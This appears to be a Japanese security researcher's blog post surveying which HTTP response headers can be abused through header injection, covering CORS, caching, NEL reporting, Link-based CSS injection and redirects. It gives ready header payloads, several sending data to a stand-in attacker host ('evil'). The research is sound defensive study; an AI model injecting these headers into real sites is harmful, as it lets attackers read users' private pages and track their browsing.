HTTPヘッダインジェクションにおいて使えるヘッダについて調べてみた。ヘッダ内の挿入箇所から改行2つで応答ボディに抜けられないことはしばしばあって、そういう場合は基本的にヘッダだけで何とかしなければならない。そういう状況が主な想定ケースであるが、それに留まらず一般論としてHTTPヘッダにどれだけの能力があるのかを考えてみたい。
このテーマについては、2017年にWebLogicのバグを報告した際に調べたことがあり、まとまった調査としては4年ぶりとなる。今回の結果のうちNEL
ヘッダについては既に別記事に書いた。
ヘッダで何ができるかは応答のステータスにもよるが、以下では簡単のためステータス200を前提とし、HTTPリダイレクト(ステータス30x)で動くものはその旨記載した。調べた結果、現時点では全く使えないものには[×]印を付けている。
書いていったら結構なボリュームになってしまったので、とりあえず書き終わった分だけを以下に公開する(続きはまた改めて記事にしたい)。
CORS (Access-Control-*
)
まずは、ヘッダが入るページのボディに何らかの機密情報が含まれているとして、それを取得したい。そのためには、下のようにCORSのヘッダを入れてやり、それをXHRやFetchすればよい。
Access-Control-Allow-Origin: http://evil Access-Control-Allow-Credentials: true
GETでもPOSTでも送れる万能な方法だが、現在はこの方法だけでボディが取れるとは言い切れなくなっている。
というのは、
SameSite=Lax
のCookieが増えてきた。- クロスサイトのXHRやFetchではLaxのCookieが送られない。
- LaxのCookieが無いとヘッダインジェクションできない or 機密情報が応答に出ないことがある。
という状況があるため。
CookieがLaxの時のボディの取得については、以下で他の方法も検討する。
キャッシュ (Cache-Control
)
CookieがLaxの時に、キャッシュを使ってボディが取得できるかを考える。
クロスサイトであっても、GETのTop level navigationであればLaxのCookieも送信される。その際に以下のヘッダを入れる(GETでヘッダインジェクションできることが前提になる)。
Cache-Control: public, max-age=100, immutable
この応答がリバースプロキシなどにキャッシュされれば、攻撃者はそのキャッシュを取れるだろう。
ブラウザキャッシュも攻撃対象になりうる。例えばTop level navigationで以下のヘッダを入れる。
Cache-Control: private, max-age=100 Access-Control-Allow-Origin: http://evil Access-Control-Allow-Credentials: true
このブラウザキャッシュを攻撃者のページからfetch/XHRすればよい。実際IEではこの方法でブラウザキャッシュが取れる。
だが他のブラウザでは簡単にはいかない。モダンブラウザは同じURLであっても要求の文脈によりキャッシュを使い分けるためだ。調べてみたら「Double keying」というキャッシュ方式のFirefoxでは攻撃の余地が少しはあることが分かった。
概要を書くと、Firefoxでは下の2つがキャッシュのキーになる*1。
① キャッシュ対象リソースのURL
② 最上位ページ(window.top
)のサイト
要は、②の最上位ページのサイトが一致しなければキャッシュを読めない。逆に言えば、例えば対象サイトのどこかのページに攻撃者のiframeを入れられれば、仕込んでおいたキャッシュにiframe内からfetchでリーチできる。リーチできれば、そのキャッシュに入れておいたAccess-Control-*
のおかげで中身が取れる。
前段の「対象サイトに攻撃者のiframeが入る」*2というのは厳しい条件だ。Chromeなどは「Triple keying」というキャッシュキーの方式であり、さらに難しい。
なお、本記事ではあまり触れないが、リバースプロキシなどのサーバ側のキャッシュは、中身を奪うだけではなく汚染する対象にもなりうる。その文脈では他人にURLを踏ませる必要はないわけで、CookieのSameSiteなど面倒なことは考えなくてよくなる。
Network Error Logging (NEL
, Report-To
)
前回記事を参照。下のようなヘッダを入れると、その後にユーザがアクセスするURLを継続的に取得できるようになる。
NEL: {"report_to":"test", "max_age":1000, "success_fraction":1} Report-To: {"group":"test", "max_age":1000, "endpoints":[{"url":"https://evil"}]}
このヘッダはHTTPリダイレクト(30x)でも有効だ。ただし、NELにはChromeのみが対応しており、HTTPSでなければならないという制約がある。
CSS (Link
)
HTMLのLinkタグ(の一部)はヘッダにも書ける。
Link: <URL>; rel=linktype
Rel
の値の種類は、HTML Spec, MDN, IANAを参照。ざっと見た結果、Link
ヘッダでURLの取得処理が走るrel
は以下のみだった*3。
Chrome | prefetch, preload, modulepreload |
Safari | preload |
Firefox | prefetch, preload, stylesheet, next |
IE | 無し |
この項では、Firefoxだけが対応しているrel=stylesheet
を取り上げる。
名前のとおり、これを使うとヘッダからページにCSSが入れられるため、ページの見た目を改竄できる。
Link: <data:,body{display:none} html::after{content:"hello"}>; rel=stylesheet
見た目の改竄以外にも、CSSが入るので属性セレクタやfontなどを使いボディの一部を抜き取れるかもしれない。
もう1つありうるのはCSSXSSだ。ヘッダが入るページそのものではなく、そこを起点にして同じオリジンの別のページ(下のanothePage.cgi)の中身を部分的に取れる可能性がある。
Link: </anotherPage.cgi>; rel=stylesheet
ブラウザは、同じオリジンのリソースはtext/htmlなどであってもCSSとして解釈するため*4、理屈上はCSSXSSが成立する。CookieもSameSiteのものを含めて送信される。しかしFirefoxのCSSパーサは厳密なので、別のページの情報を取れる状況はかなり限定されるだろう。
なお、文字コードを使ったCSSXSSの余地はあるかもしれない(UTF-16の例)。ブラウザはLink
ヘッダに付いているcharset
指定を無視するが、文字コード指定が無い時に、親のページから子に文字コードが継承される仕組みは今もあるためだ。
[×] JavaScript/HTML (Link
)
ヘッダでCSSが入るならば、JavaScriptはどうなのか... ということで試してみた。
まずはChromeが対応しているLink: rel=modulepreload
(仕様)だが、名前のとおりpreloadするだけでJSが実行されることはないようだ(rel=preload; as=script
も同じ)。
過去にはHTML Importsのための<link rel=import>
があった。いずれヘッダでも使えるようになったりしないよな... と思っているうちに、HTML Imports仕様自体が消えてしまった。
もう一つ、今回の調査で知ったのだが、Link: rel=serviceworker
もあったらしい(Suikawiki, Jxck blog)。そもそもService Workerの登録には制約が多いため使いづらいのではあるが、これもHTML仕様から消えてしまい現在は解釈されない。
という訳で、現時点では、ヘッダで正面切ってJS/HTMLを入れ込む方法は無いようだ。ただ、上記のようにLink
は新しいものが出ては消えていく状況なので、将来的には何かまた出て来ないとも限らない。
リダイレクタ (Refresh
, Location
)
ステータス200などであればRefresh
ヘッダをオープンリダイレクトに使える。
Refresh: 0; url=URL
一部のブラウザでは、Refresh
やLocation
にjavascript:
やdata:
のURLを入れてXSSできた時代もあった。今もChrome, Firefox, Safariではdata:
にリダイレクトできるが(Top level navigationできるのはSafariのみ)、そのオリジンはnull
になる。なので、現在ではこれらのヘッダは単なるリダイレクタくらいの用途しかない。
HTTPリダイレクト(30x)の時はLocation
を使うことになる。Location
ヘッダが複数ある時、IEとSafariは先頭のものを使い、ChromeとFirefoxはプロトコルエラーとする。ちなみに、単一の空のLocation
があると30xのボディをレンダリングするChromeの挙動は今も変わっていない。
とりあえず第1回として書いた分だけ公開した。残りの分は別途記事にしたい。